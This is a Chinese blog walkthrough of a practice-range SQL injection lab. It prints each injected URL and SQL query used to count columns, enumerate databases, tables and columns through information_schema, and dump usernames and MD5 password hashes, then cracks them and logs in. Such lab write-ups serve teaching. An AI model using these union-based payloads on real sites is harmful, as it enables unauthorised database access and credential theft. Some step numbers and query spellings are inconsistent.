第1步、访问靶场
靶场地址:http://219.153.49.228:41377
第2步、
1、查找
观察页面,查找单页面之处:
2、页面提交:http://219.153.49.228:41377/new_list.php?id=1 and 1=2
3、返回结果
返回内容为空
4、数据库查询:select * from news where id =1 and 1=2
5、解析:
因为1=2不成立,所以返回内容为空。
第3步
1、页面提交:
http://219.153.49.228:41377/new_list.php?id=1 and order by 1
2、返回结果:
3、数据库查询:
select * from news where id=1 order by 1
4、解析
说明,该页面所对应的后台数据表中最少有一个字段,所以,下一步我们的目标是,查找出他有多少个这样的目标,即,我们得一步一步的测试 order by 2,3,4,……n。
第4步
1、页面提交
http://219.153.49.228:41377/new_list.php?id=1 order by id=1
最终测试了4次,第三次,order by 4 正常,第四次在order by 5 时候页面为空。
2、返回结果
order by 4 时、
order by 5 时、
3、数据库查询
//order by 3:
select * from news where id=1 order by 3
// order by 4:
select * from news where id=1 order by 4
4、解析
这步探讨出了,该数据所对应有多少个字段,证明该数据库有4个字段。
第5步、
1、页面提交、
// %20 表示空格
http://219.153.49.228:41377/new_list.php?id=1%20and%201=2%20union%20select%201,2,3,4
2、返回结果、
3、数据库查询
select * from news where id=1 and 1=2 union select 1,2,3,4
4、解析
通过联合查询,我们得知,标题的字段是2,内容字段是3。所以后续的步骤以这里为漏洞切入点。
第5步、
1、页面提交
http://219.153.49.228:41377/new_list.php?id=1%20and%201=2%20union%20select%201,database(),version(),4
2、页面返回
3、数据库查询
select * from news where id=1 and 1=2 union select 1,database(),version(),4
4、解析
SQL语句中database()是查询当前数据库的名称(语法:select database();),一个服务器上可能有多个数据库,version()是查询当前数据的版本(语法:select version();),这里是这2个内容分别显示在第2、3的位置上,mozhe_Discuz_StormGroup为数据库,5.7.22-0ubuntu0.16.04.1为数据库版本和操作系统的版本。
第6步、
1、页面提交
http://219.153.49.228:41377/new_list.php?id=1%20and%201=2%20union%20select%201,SCHEMA_NAME,3,4%20from%20information_schema.SCHEMATA%20limit%200,1
2、返回结果
3、数据库查询
select * from news where id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 0,1
4、解析
因为MySQL数据服务器上必定存在information_schema数据库,其中记录了当前数据库系统中大部分我们需要了结的信息,比如字符集,权限相关,数据库实体对象信息,外检约束,分区,压缩表,表信息,索引信息,参数,优化,锁和事物等等。说白了,就是这个默认自带的数据中,存储了MySQL的数据库名字、表名字、列名字和其他信息,通过information_schema我们可以查看整个MySQL实例的情况。limit 0,1意思是从第0行起,取1行数据,information_schema为获取的第1个数据库名称。
第7步、
1、页面键入
http://219.153.49.228:41377/new_list.php?id=1%20and%201=2%20union%20select%201,SCHEMA_NAME,3,4%20from%20information_schema.SCHEMATA%20limit%201,1
2、页面返回
3、数据库查询
select * from news where id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 FROM infomation _schema.SCHEMATA LIMIT 1,1
4、解析
表示查询information_shcema数据库中的SCHEMATA表获取第一行的一条数据。这步主要还是排查有多少数据库,并把查询出来的数据库名显示在标题上。依此类推,最终得到该服务器上有多少数据库。
第8步
1、页面键入
第一行
http://219.153.49.228:41377/new_list.php?id=1%20and%201=2%20union%20select%201,SCHEMA_NAME,3,4%20from%20information_schema.SCHEMATA%20limit%202,1
第二行
http://219.153.49.228:41377/new_list.php?id=1%20and%201=2%20union%20select%201,SCHEMA_NAME,3,4%20from%20information_schema.SCHEMATA%20limit%203,2
以此类推,到第五行,返回数据为空,所以该服务器上有6个数据库,
2、返回结果
第二行
第三行
第五行
3、数据库查询
第二行
select * from news where id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 FROM infomation _schema.SCHEMATA LIMIT 2,1
第三行
select * from news where id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 FROM infomation _schema.SCHEMATA LIMIT 3,1
第五行
select * from news where id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 FROM infomation _schema.SCHEMATA LIMIT 5,1
4、解析:
通过不断的试探,查找出所有的数据库,limit 5,1意思是从第5行起,取1行数据,返回为空,说明只有5个数据库information_schema、mozhe_Discuz_StormGroup、mysql、performance_schema、sys。进而推测出,登录所需要的数据在那个表。照目前来看只有mozhe_Discuz_StormGroup为系统所带数据库。 即:以下步骤都只在mozhe_Discuz_StormGroup数据库操作并查找所需的数据
第8步、
1、页面键入
http://219.153.49.228:40080/new_list.php?id=1%20and%201=2%20union%20select%201,TABLE_NAME,3,4%20from%20information_schema.TABLES%20where%20TABLE_SCHEMA=%27mozhe_Discuz_StormGroup%27%20limit%200,1
2、结果返回
3、数据库查询:
select * from news where id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 0,1
4、分析
通过开始查询非MySQL自带的数据库,开始查找出其余表,目的是开始找出登录数据所在的数据库,进而找出所在的表。查询对应数据库mozhe_Discuz_StormGroup的第1个数据表名称,limit 0,1,第1个表名为StormGroup_member。
第9步、
通过上述不断试探的步骤,先找出第二个数据库所有的表名,进而第三个数据库,找完所有非系统所带的数据库。 本服务器只有mozhe_Discuz_StormGroup为非系统所带数据库
1、页面键入
// mozhe_Discuz_StormGroup数据库
//第二个表
http://219.153.49.228:40080/new_list.php?id=1%20and%201=2%20union%20select%201,TABLE_NAME,3,4%20from%20information_schema.TABLES%20where%20TABLE_SCHEMA=%27mozhe_Discuz_StormGroup%27%20limit%201,1
//第三个表,返回空,进而推出该数据库下只有两个数据表
2、结果返回
第二个表
查询第三个无返回
3、数据库查询
select * from news where id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 1,1
4、分析
按上述所查询返回结果,可知,该数据库只有两个数据表StormGroup_member 和 notice ,见名知意可知,最大的数据存储在第一个表中,所以,下面开始测试该数据库下的数据表中的字段,看能否找到name,Email,password之类的字段。
第10步、
1、页面键入
http://219.153.49.228:40080/new_list.php?id=1%20and%201=2%20union%20select%201,COLUMN_NAME,COLUMN_TYPE,4%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=%27mozhe_Discuz_StormGroup%27%20and%20TABLE_NAME=%27StormGroup_member%27%20limit%200,1
2、返回结果
3、数据库查询
select * from news where id=1 and 1=2 union 1,COLUMN_NAME,COLUMN_TYPE, 4 from information_schema.COLUMN WHERE TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 0,1
4、分析
通过查询第一个表StormGroup_member中的第一行数据中的第一个字段的字段名及字段类型。第1个名称为id,类型:整型int(11)。
第11步、
以此类推,不断查找第一行数据的所有字段。
1、页面键入、
http://219.153.49.228:40080/new_list.php?id=1%20and%201=2%20union%20select%201,COLUMN_NAME,COLUMN_TYPE,4%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=%27mozhe_Discuz_StormGroup%27%20and%20TABLE_NAME=%27StormGroup_member%27%20limit%201,1
// 页面返回的是 名称为name,类型:字符型varchar(20)。
http://219.153.49.228:40080/new_list.php?id=1%20and%201=2%20union%20select%201,COLUMN_NAME,COLUMN_TYPE,4%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=%27mozhe_Discuz_StormGroup%27%20and%20TABLE_NAME=%27StormGroup_member%27%20limit%202,1
// 页面返回的是 名称为password,类型:字符型varchar(255)。
http://219.153.49.228:40080/new_list.php?id=1%20and%201=2%20union%20select%201,COLUMN_NAME,COLUMN_TYPE,4%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=%27mozhe_Discuz_StormGroup%27%20and%20TABLE_NAME=%27StormGroup_member%27%20limit%203,1
// 页面返回的是 名称为status,类型:int(11)。
http://219.153.49.228:40080/new_list.php?id=1%20and%201=2%20union%20select%201,COLUMN_NAME,COLUMN_TYPE,4%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=%27mozhe_Discuz_StormGroup%27%20and%20TABLE_NAME=%27StormGroup_member%27%20limit%204,1
//页面返回为空。
2、页面结果
不一 一列举,只给出limit 4,1的
3、数据库查询
不一 一列举,只给出limit 4,1的
select * from news where id=1 and 1=2 union 1,COLUMN_NAME,COLUMN_TYPE, 4 from information_schema.COLUMN WHERE TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 4,1
4、分析
由上述四步分析可知:该数据库mozhe_Discuz_StormGroup下的数据表==StormGroup_member ==只有四个字段分别为:id,name,password,status。所以下一步骤便是查找出其所有行再找出其数据。
第12步、
1、页面键入
http://219.153.49.228:40080/new_list.php?id=1%20and%201=2%20union%20select%201,count(*),3,4%20from%20mozhe_Discuz_StormGroup.StormGroup_member
2、结果返回
3、数据库查询
select * from news where id=1 and 1=2 union select 1,count(*),3,4 from mozhe_Discuz_StormGroup.StormGroup_member
4、分析
该数据表明,该表只有两条数据。查数据
第13步、
1、页面键入
补充CONCAT函数的用法。
使用方法:CONCAT(str1,str2,…) 返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。
http://219.153.49.228:40080/new_list.php?id=1%20and%201=2%20union%20select%201,CONCAT(name,%27-%27,password,%27-%27,status),3,4%20from%20mozhe_Discuz_StormGroup.StormGroup_member%20limit%200,1
2、返回结果
3、数据库查询
select * from news where id=1 and 1=2 union select 1,CONCAT(name,'-',password,'-',status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1
4、总结分析
通过CONCAT()函数,返回数据表==StormGroup_member ==下的第一行name,加密的密码,status的值。
第14步、
继续查找出第二条数据
1、最后返回结果
2、总结分析
(1)我们得知:
-
第一条登录数据:mozhe-356f589a7df439f6f744ff19bb8092c0-0
-
第二条登录数据:mozhe-b79ef59ea93f1e13a22230b470fc6dcb-1
(2) 使用在线解密工具:
https://www.cmd5.com/,解密出密码明文。 -
第一条数据密码明文:dsan13
-
第二条数据密码明文:266033
(3)分别登录: -
第一个
-
第二个
到此,网站终于被攻破,破解。通过分析我们得知,status字段值为0代表被禁用。
好了,本文就此结束,欢迎各位大佬指点错误不足之处,也欢迎广大感兴趣的朋友一起留言交流,谢谢。最后,麻烦各位点个赞,哈哈哈哈。
来源:https://blog.csdn.net/sql17819185963/article/details/100518843